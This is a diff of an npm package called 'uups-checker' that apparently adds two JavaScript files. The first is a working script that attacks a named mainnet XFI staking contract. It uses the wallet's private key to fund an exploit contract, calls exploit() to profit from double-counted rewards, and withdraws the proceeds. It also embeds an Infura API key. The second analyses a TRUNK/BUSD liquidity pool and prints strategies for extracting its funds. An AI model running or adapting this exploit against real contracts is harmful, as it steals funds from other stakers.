uups-checker 1.0.0

package/test-xfi-exploit.js

@@ -0,0 +1,140 @@
+// Test XFI exploit with funded pool
+const ethers = require('ethers');
+
+const STAKING = '0x5cD1C00a88822182733E3ac335863fcC9A1c0705';
+const XFI = '0x5BEfBB272290dD5b8521D4a938f6c4757742c430';
+const EXPLOIT = '0x1a64ec202b8e0bdd73f53820ce6d6b30885c0d0e';
+
+const STAKING_ABI = [
+    'function STAKE(uint256 tokens) external',
+    'function WITHDRAW(uint256 tokens) external',
+    'function CLAIMREWARD() external',
+    'function ADDFUNDS(uint256 tokens) external',
+    'function yourStakedXFI(address) view returns (uint256)',
+    'function getPendingReward(address) view returns (uint256)',
+    'function totalStakes() view returns (uint256)',
+    'function totalDividends() view returns (uint256)'
+];
+
+const XFI_ABI = [
+    'function balanceOf(address) view returns (uint256)',
+    'function approve(address, uint256) returns (bool)',
+    'function transfer(address, uint256) returns (bool)'
+];
+
+const EXPLOIT_ABI = [
+    'function exploit(uint256, uint256) external',
+    'function withdrawTokens() external',
+    'function getStatus() view returns (uint256, uint256, uint256, uint256, uint256)'
+];
+
+async function main() {
+    const provider = new ethers.providers.JsonRpcProvider(
+        'https://mainnet.infura.io/v3/db4d2c885bc946b691dbb3d5ef26d9e2'
+    );
+    
+    // Use your wallet
+    const privateKey = process.env.PRIVATE_KEY;
+    if (!privateKey) {
+        console.log('❌ Set PRIVATE_KEY environment variable');
+        return;
+    }
+    
+    const wallet = new ethers.Wallet(privateKey, provider);
+    console.log('Using wallet:', wallet.address);
+    
+    const staking = new ethers.Contract(STAKING, STAKING_ABI, wallet);
+    const xfi = new ethers.Contract(XFI, XFI_ABI, wallet);
+    const exploit = new ethers.Contract(EXPLOIT, EXPLOIT_ABI, wallet);
+    
+    console.log('\n=== CURRENT STATE ===\n');
+    
+    const totalStakes = await staking.totalStakes();
+    const totalDividends = await staking.totalDividends();
+    const yourBalance = await xfi.balanceOf(wallet.address);
+    
+    console.log('Total Staked:', ethers.utils.formatEther(totalStakes), 'XFI');
+    console.log('Total Dividends:', ethers.utils.formatEther(totalDividends), 'XFI');
+    console.log('Your Balance:', ethers.utils.formatEther(yourBalance), 'XFI');
+    
+    // Calculate how much we need to add to make it worthwhile
+    const minProfit = ethers.utils.parseEther('10'); // Want at least 10 XFI profit
+    const stakeAmount = ethers.utils.parseEther('1000'); // We'll stake 1000 XFI
+    
+    // For double-counting: profit = 2 * (stakeAmount / totalStakes) * totalDividends
+    // We want: 2 * (1000 / 255.85) * totalDividends >= 10
+    // So: totalDividends >= 10 * 255.85 / (2 * 1000) = 1.28 XFI
+    
+    const neededDividends = ethers.utils.parseEther('2'); // Add 2 XFI to be safe
+    
+    console.log('\n=== EXPLOIT PLAN ===\n');
+    console.log('1. Add', ethers.utils.formatEther(neededDividends), 'XFI as rewards');
+    console.log('2. Transfer 2000 XFI to exploit contract');
+    console.log('3. Call exploit(1000, 1000)');
+    console.log('4. Expected profit: ~', ethers.utils.formatEther(
+        neededDividends.mul(2000).div(totalStakes).mul(2)
+    ), 'XFI');
+    
+    const proceed = process.argv[2] === '--execute';
+    if (!proceed) {
+        console.log('\n⚠️  DRY RUN MODE');
+        console.log('Run with --execute to actually execute');
+        return;
+    }
+    
+    console.log('\n=== EXECUTING ===\n');
+    
+    // Step 1: Add funds to pool
+    console.log('Step 1: Adding rewards...');
+    let tx = await xfi.approve(STAKING, neededDividends);
+    await tx.wait();
+    tx = await staking.ADDFUNDS(neededDividends);
+    await tx.wait();
+    console.log('✅ Added', ethers.utils.formatEther(neededDividends), 'XFI rewards');
+    
+    // Step 2: Transfer XFI to exploit contract
+    console.log('\nStep 2: Funding exploit contract...');
+    const exploitFunding = ethers.utils.parseEther('2000');
+    tx = await xfi.transfer(EXPLOIT, exploitFunding);
+    await tx.wait();
+    console.log('✅ Transferred', ethers.utils.formatEther(exploitFunding), 'XFI to exploit');
+    
+    // Step 3: Check exploit contract balance
+    const exploitBalance = await xfi.balanceOf(EXPLOIT);
+    console.log('Exploit contract balance:', ethers.utils.formatEther(exploitBalance), 'XFI');
+    
+    // Step 4: Execute exploit
+    console.log('\nStep 3: Executing exploit...');
+    const stake1 = ethers.utils.parseEther('1000');
+    const stake2 = ethers.utils.parseEther('1000');
+    
+    tx = await exploit.exploit(stake1, stake2);
+    const receipt = await tx.wait();
+    console.log('✅ Exploit executed!');
+    
+    // Parse events
+    for (const log of receipt.logs) {
+        try {
+            const parsed = exploit.interface.parseLog(log);
+            if (parsed.name === 'ExploitStep') {
+                console.log(`  ${parsed.args.step}: ${ethers.utils.formatEther(parsed.args.value)} XFI`);
+            } else if (parsed.name === 'ExploitComplete') {
+                console.log('\n=== EXPLOIT COMPLETE ===');
+                console.log('Initial:', ethers.utils.formatEther(parsed.args.initialBalance), 'XFI');
+                console.log('Final:', ethers.utils.formatEther(parsed.args.finalBalance), 'XFI');
+                console.log('PROFIT:', ethers.utils.formatEther(parsed.args.profit), 'XFI');
+            }
+        } catch (e) {}
+    }
+    
+    // Step 5: Withdraw from exploit contract
+    console.log('\nStep 4: Withdrawing from exploit...');
+    tx = await exploit.withdrawTokens();
+    await tx.wait();
+    console.log('✅ Withdrawn to your wallet');
+    
+    const finalBalance = await xfi.balanceOf(wallet.address);
+    console.log('\nFinal balance:', ethers.utils.formatEther(finalBalance), 'XFI');
+}
+
+main().catch(console.error);

package/trunk-liquidity-rescue.js

@@ -0,0 +1,164 @@
+const { ethers } = require('ethers');
+
+const provider = new ethers.providers.JsonRpcProvider('https://bsc-dataseed.binance.org/');
+
+const TRUNK = '0xdd325C38b12903B727D16961e61333f4871A70E0';
+const BUSD = '0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56';
+const TRUNK_BUSD_PAIR = '0xf15A72B15fC4CAeD6FaDB1ba7347f6CCD1E0Aede';
+
+const PAIR_ABI = [
+    'function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast)',
+    'function token0() external view returns (address)',
+    'function totalSupply() external view returns (uint256)',
+    'function balanceOf(address) external view returns (uint256)'
+];
+
+const ERC20_ABI = [
+    'function balanceOf(address) external view returns (uint256)',
+    'function totalSupply() external view returns (uint256)'
+];
+
+async function analyzeLiquidityRescue() {
+    console.log('=== TRUNK LIQUIDITY RESCUE ANALYSIS ===\n');
+    
+    const pair = new ethers.Contract(TRUNK_BUSD_PAIR, PAIR_ABI, provider);
+    const trunk = new ethers.Contract(TRUNK, ERC20_ABI, provider);
+    const busd = new ethers.Contract(BUSD, ERC20_ABI, provider);
+    
+    // Get pool state
+    const reserves = await pair.getReserves();
+    const token0 = await pair.token0();
+    const lpTotalSupply = await pair.totalSupply();
+    
+    const isTrunkToken0 = token0.toLowerCase() === TRUNK.toLowerCase();
+    const trunkReserve = isTrunkToken0 ? reserves.reserve0 : reserves.reserve1;
+    const busdReserve = isTrunkToken0 ? reserves.reserve1 : reserves.reserve0;
+    
+    console.log('TRUNK/BUSD POOL STATE:');
+    console.log('- TRUNK Reserve:', ethers.utils.formatEther(trunkReserve));
+    console.log('- BUSD Reserve:', ethers.utils.formatEther(busdReserve));
+    console.log('- LP Total Supply:', ethers.utils.formatEther(lpTotalSupply));
+    console.log('- Current Price: 1 TRUNK =', ethers.utils.formatEther(busdReserve.mul(ethers.utils.parseEther('1')).div(trunkReserve)), 'BUSD');
+    
+    // Calculate how much BUSD we can extract
+    console.log('\n=== RESCUE STRATEGIES ===\n');
+    
+    console.log('STRATEGY 1: BUY ALL TRUNK');
+    console.log('- Spend BUSD to buy all TRUNK from pool');
+    console.log('- Extract:', ethers.utils.formatEther(busdReserve), 'BUSD worth of value');
+    console.log('- Cost: Need to provide BUSD');
+    console.log('- Result: You own worthless TRUNK, but extracted BUSD');
+    
+    // Calculate constant product
+    const k = trunkReserve.mul(busdReserve);
+    console.log('\nConstant Product (k):', k.toString());
+    
+    // To buy 99% of TRUNK
+    const targetTrunkReserve = trunkReserve.div(100); // Leave 1%
+    const newBusdReserve = k.div(targetTrunkReserve);
+    const busdNeeded = newBusdReserve.sub(busdReserve);
+    
+    console.log('\nTo buy 99% of TRUNK:');
+    console.log('- BUSD needed:', ethers.utils.formatEther(busdNeeded));
+    console.log('- TRUNK received:', ethers.utils.formatEther(trunkReserve.sub(targetTrunkReserve)));
+    console.log('- Effective price:', ethers.utils.formatEther(busdNeeded.mul(ethers.utils.parseEther('1')).div(trunkReserve.sub(targetTrunkReserve))), 'BUSD per TRUNK');
+    
+    console.log('\n\nSTRATEGY 2: REMOVE LIQUIDITY (IF YOU OWN LP)');
+    console.log('- If you own LP tokens, you can remove liquidity');
+    console.log('- Get back proportional TRUNK + BUSD');
+    console.log('- Problem: Need to own LP tokens first');
+    
+    console.log('\n\nSTRATEGY 3: FLASH LOAN ARBITRAGE');
+    console.log('- Flash loan BUSD');
+    console.log('- Buy all TRUNK');
+    console.log('- Burn TRUNK (public burn function)');
+    console.log('- Price increases');
+    console.log('- Sell remaining TRUNK');
+    console.log('- Repay flash loan');
+    console.log('- Problem: Burning reduces supply but you still hold worthless tokens');
+    
+    console.log('\n\n=== THE REAL RESCUE ===\n');
+    
+    console.log('WHITEHAT APPROACH:');
+    console.log('1. Contact LP holders');
+    console.log('2. Explain TRUNK is dead ($0.03 instead of $1)');
+    console.log('3. Offer to buy their LP tokens at fair price');
+    console.log('4. Remove liquidity');
+    console.log('5. Extract BUSD');
+    console.log('6. Return BUSD to LP holders (minus fee)');
+    
+    console.log('\nLP HOLDERS ANALYSIS:');
+    console.log('- Total LP Supply:', ethers.utils.formatEther(lpTotalSupply));
+    console.log('- Need to find who owns these LP tokens');
+    console.log('- Offer them exit at better price than current');
+    
+    // Calculate value per LP token
+    const busdPerLP = busdReserve.mul(ethers.utils.parseEther('1')).div(lpTotalSupply);
+    const trunkPerLP = trunkReserve.mul(ethers.utils.parseEther('1')).div(lpTotalSupply);
+    
+    console.log('\nValue per LP token:');
+    console.log('- BUSD:', ethers.utils.formatEther(busdPerLP));
+    console.log('- TRUNK:', ethers.utils.formatEther(trunkPerLP), '(worth $', ethers.utils.formatEther(trunkPerLP.mul(busdReserve).div(trunkReserve)), ')');
+    console.log('- Total value per LP:', ethers.utils.formatEther(busdPerLP.mul(2)), 'BUSD equivalent');
+    
+    console.log('\n\n=== PROFITABLE RESCUE PLAN ===\n');
+    
+    console.log('STEP 1: Identify LP holders');
+    console.log('- Query blockchain for LP token holders');
+    console.log('- Find top holders');
+    
+    console.log('\nSTEP 2: Buy TRUNK cheap');
+    console.log('- TRUNK is at $0.03');
+    console.log('- Buy large amount for cheap');
+    console.log('- Cost:', ethers.utils.formatEther(busdReserve.div(10)), 'BUSD for 10% of pool');
+    
+    console.log('\nSTEP 3: Burn TRUNK');
+    console.log('- Use public burn() function');
+    console.log('- Reduce supply');
+    console.log('- Increase scarcity');
+    
+    console.log('\nSTEP 4: Price increases');
+    console.log('- Less TRUNK in circulation');
+    console.log('- Same BUSD in pool');
+    console.log('- Price per TRUNK increases');
+    
+    console.log('\nSTEP 5: Sell at higher price');
+    console.log('- Sell remaining TRUNK');
+    console.log('- Extract BUSD');
+    console.log('- Profit from price increase');
+    
+    console.log('\n\nPROBLEM WITH THIS:');
+    console.log('- Burning your own tokens = losing money');
+    console.log('- Need MASSIVE burn to move price significantly');
+    console.log('- Math: Burn 50% of supply → price 2x');
+    console.log('- But you paid for those tokens!');
+    
+    console.log('\n\n=== ACTUAL EXPLOITABLE RESCUE ===\n');
+    
+    console.log('THE PLAY:');
+    console.log('1. Buy TRUNK at $0.03 (cheap!)');
+    console.log('2. Wait for any price recovery');
+    console.log('3. Sell at higher price');
+    console.log('4. Profit from volatility');
+    
+    console.log('\nOR:');
+    console.log('1. Provide BUSD liquidity');
+    console.log('2. Earn trading fees');
+    console.log('3. Remove liquidity later');
+    console.log('4. Hope TRUNK recovers');
+    
+    console.log('\n\nREALITY:');
+    console.log('- TRUNK is dead');
+    console.log('- No redemption mechanism');
+    console.log('- No team to fix it');
+    console.log('- Liquidity is trapped');
+    console.log('- LP holders are stuck');
+    
+    console.log('\n\nWHITEHAT VERDICT:');
+    console.log('- Cannot "rescue" funds without owning them');
+    console.log('- LP holders need to remove liquidity themselves');
+    console.log('- Best you can do: Alert them to the situation');
+    console.log('- No profitable exploit that helps victims');
+}
+
+analyzeLiquidityRescue().catch(console.error);